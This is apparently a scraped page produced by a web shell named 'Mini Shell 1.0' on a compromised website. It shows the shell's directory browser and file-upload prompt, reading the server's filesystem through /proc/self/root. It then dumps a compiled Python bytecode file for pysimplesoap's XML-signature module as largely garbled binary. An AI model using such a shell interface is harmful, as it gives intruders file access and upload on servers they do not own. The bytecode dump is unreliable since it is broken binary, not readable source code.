HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/pysimplesoap/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/pysimplesoap/__pycache__/xmlsec.cpython-311.pyc
�

�/$ZB ��&�dZddlmZddlZddlZddlZddlmZddlm	Z	m
Z
mZmZm
Z
	ddlZn
#e$rdZYnwxYwdZdZdZd	Zd
ZdZd"d
�Zd�Zdddeefd�Zd"d�Zd�Zd#d�Zd#d�Zd#d�Zedkr�dZ ee ��Z!e"e!��ee ddd��Z#e"ee#z��dZ ee dzddded���Z#e"e ee#zz��ee$d���%����Z&ee#de#d e&d�!��sJ�dSdS)$z,Pythonic XML Security Library implementation�)�print_functionN)�StringIO)�BIO�EVP�RSA�X509�m2a�
<SignedInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
  <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
  <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
  <Reference URI="%(ref_uri)s">
    <Transforms>
      <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
    </Transforms>
    <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
    <DigestValue>%(digest_value)s</DigestValue>
  </Reference>
</SignedInfo>
z�
<?xml version="1.0" encoding="UTF-8"?>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
%(signed_info)s
<SignatureValue>%(signature_value)s</SignatureValue>
%(key_info)s
%(ref_xml)s
</Signature>
aO
<SignedInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
  <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
  <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <Reference URI="">
    <Transforms>
       <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
       <Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
    </Transforms>
    <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
    <DigestValue>%(digest_value)s</DigestValue>
  </Reference>
</SignedInfo>
z�<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
%(signed_info)s
<SignatureValue>%(signature_value)s</SignatureValue>
%(key_info)s
</Signature>z�
<KeyInfo>
  <KeyValue>
    <RSAKeyValue>
      <Modulus>%(modulus)s</Modulus>
      <Exponent>%(exponent)s</Exponent>
    </RSAKeyValue>
  </KeyValue>
</KeyInfo>
z�
<KeyInfo>
    <X509Data>
        <X509IssuerSerial>
            <X509IssuerName>%(issuer_name)s</X509IssuerName>
            <X509SerialNumber>%(serial_number)s</X509SerialNumber>
        </X509IssuerSerial>
    </X509Data>
</KeyInfo>
Tc�(�t��}t�Dtj�t|����}|�||���n&ddlm}||���||���|���S)z@Return the canonical (c14n) form of the xml document for hashingN)�	exclusive�)�SimpleXMLElement)r�lxml�etree�parse�
write_c14n�	simplexmlr
�getvalue)�xml�c14n_exc�output�etr
s     �5/usr/lib/python3/dist-packages/pysimplesoap/xmlsec.py�canonicalizerbs����Z�Z�F���
�Z�
�
�h�s�m�m�
,�
,��
�
�
�f��
�1�1�1�1�	0�/�/�/�/�/������(�(��8�(�D�D�D��?�?����c�r�tjtj|�������S)z/Create a SHA1 hash and return the base64 string)�base64�	b64encode�hashlib�sha1�digest)�payloads r�sha1_hash_digestr"qs)����G�L��1�1�8�8�:�:�;�;�;rc	�b��t||��}||t|��d�z}	t|	|��}	tj|�fd���}
|
�tj|	�������}|||	tj	|��t|
||��d�S)zISign an XML document usign RSA (templates: enveloped -ref- or enveloping))�ref_uri�digest_valuec����S)N�)�args�kwargs�passwords  �r�<lambda>zrsa_sign.<locals>.<lambda>�s���X�r)�ref_xmlr$�signed_info�signature_value�key_info)rr"r�load_key�signrrr rrr/)rr$�private_keyr*�certr�
sign_template�key_info_templater,r-�pkey�	signatures   `        r�rsa_signr8vs����
�3��)�)�G��g�3C�G�3L�3L�#N�#N�N�K��{�H�5�5�K��<��%E�%E�%E�%E�F�F�D��	�	�'�,�{�3�3�:�:�<�<�=�=�I��7�&�%�/�	�:�:� ��t�->�?�?�	��rc���|�d��r)tj|��}tj|��}ntjt��}tj��}|�	|��|�
d���|���|�t||����|�tj|����}|dkS)zDVerify a XML document signature usign RSA-SHA1, return True if validz-----BEGIN PUBLIC KEY-----r)�mdr)�
startswithr�MemoryBufferr�load_pub_key_bio�load_pub_key�certificater�PKey�
assign_rsa�
reset_context�verify_init�
verify_updater�verify_finalr�	b64decode)rr7�keyr�bio�rsa�pubkey�rets        r�
rsa_verifyrL�s����~�~�2�3�3�,���s�#�#���"�3�'�'�����{�+�+��
�X�Z�Z�F�
���c����
���F��#�#�#�
������
����c�8�4�4�5�5�5�
�
�
�f�.�y�9�9�
:�
:�C��!�8�Orc��tj|jdd���}tjtj|j�����d���d��}|rt|��nd}||||r&|�
�����nd|r|���ndd�zS)zHConvert private key (PEM) to XML Signature format (RSAKeyValue/X509Data)�N�hexr�)�modulus�exponent�issuer_name�
serial_number)
rr�er	�	bn_to_hex�	mpi_to_bn�n�decode�encode�x509_parse_cert�
get_issuer�as_text�get_serial_number)r6r3r5rRrQ�x509s      rr/r/�s�������q�r�r�
�+�+�H��l�2�<���/�/�0�0�7�7��>�>�E�E�h�O�O�G�$(�2�?�4� � � �d�D����6:�B�t���(�(�0�0�2�2�2��59�A��/�/�1�1�1�r�	 
� 
�
�
rFc�.�|r4tj|��}tj|tj��}n^|�d��r4tj|��}tj|tj��}ntj|d��}|S)zECreate a X509 certificate from binary DER, plain text PEM or filenamez-----BEGIN CERTIFICATE-----r)rr<r�
load_cert_bio�
FORMAT_DERr;�
FORMAT_PEM�	load_cert)r3�binaryrHr_s    rr[r[�s���
�'���t�$�$���!�#�t��7�7���	
���6�	7�	7�'���t�$�$���!�#�t��7�7����~�d�A�&�&���Krc��t||��}|���������S)z:Return the public key (PEM format) from a X509 certificate)r[�
get_pubkey�get_rsa�as_pem)r3rer_s   r�x509_extract_rsa_public_keyrj�s9���4��(�(�D��?�?���$�$�&�&�-�-�/�/�/rc��t|��}t||��}|�|�����S)zGValidate the certificate's authenticity using a certification authority)r[�verifyrg)�cacertr3re�ca�crts     r�x509_verifyrp�s8��	��	 �	 �B�
�$��
'�
'�C��:�:�b�m�m�o�o�&�&�&r�__main__zL<Object xmlns="http://www.w3.org/2000/09/xmldsig#" Id="object">data</Object>z#objectzno_encriptada.keyr*z=<?xml version="1.0" encoding="UTF-8"?><Object>data%s</Object>rP)r4rzzunimercado.crtr-r.)r)T)F)'�__doc__�
__future__rrr�os�	cStringIOr�M2Cryptorrrrr	�
lxml.etreer�ImportError�
SIGN_REF_TMPL�SIGNED_TMPL�
SIGN_ENV_TMPL�SIGNATURE_TMPL�KEY_INFO_RSA_TMPL�KEY_INFO_X509_TMPLrr"r8rLr/r[rjrp�__name__�
sample_xmlr�print�vars�open�read�
public_keyr'rr�<module>r�s���3�2�%�%�%�%�%�%�
�
�
�
�����	�	�	�	�������,�,�,�,�,�,�,�,�,�,�,�,�,�,�������������D�D�D������
���
�
���	��	������<�<�<�
26�D�4�(�<M�����,����*

�

�

� 
�
�
�
�0�0�0�0�'�'�'�'��z���c�J�
�\�*�
%�
%�F�	�E�6�N�N�N��8�J�	�+>�
�K�K�D�	�E�;������U�J��8�J��O�R�)<�j�"/�%�A�A�A�D�	�E�:��$�.�/�0�0�0�-�,�T�T�2C�-D�-D�-I�-I�-K�-K�L�L�J��:�d�=�)�4�0A�+B�J�$�&�&�&�&�&�&�!�� &�&s�/�9�9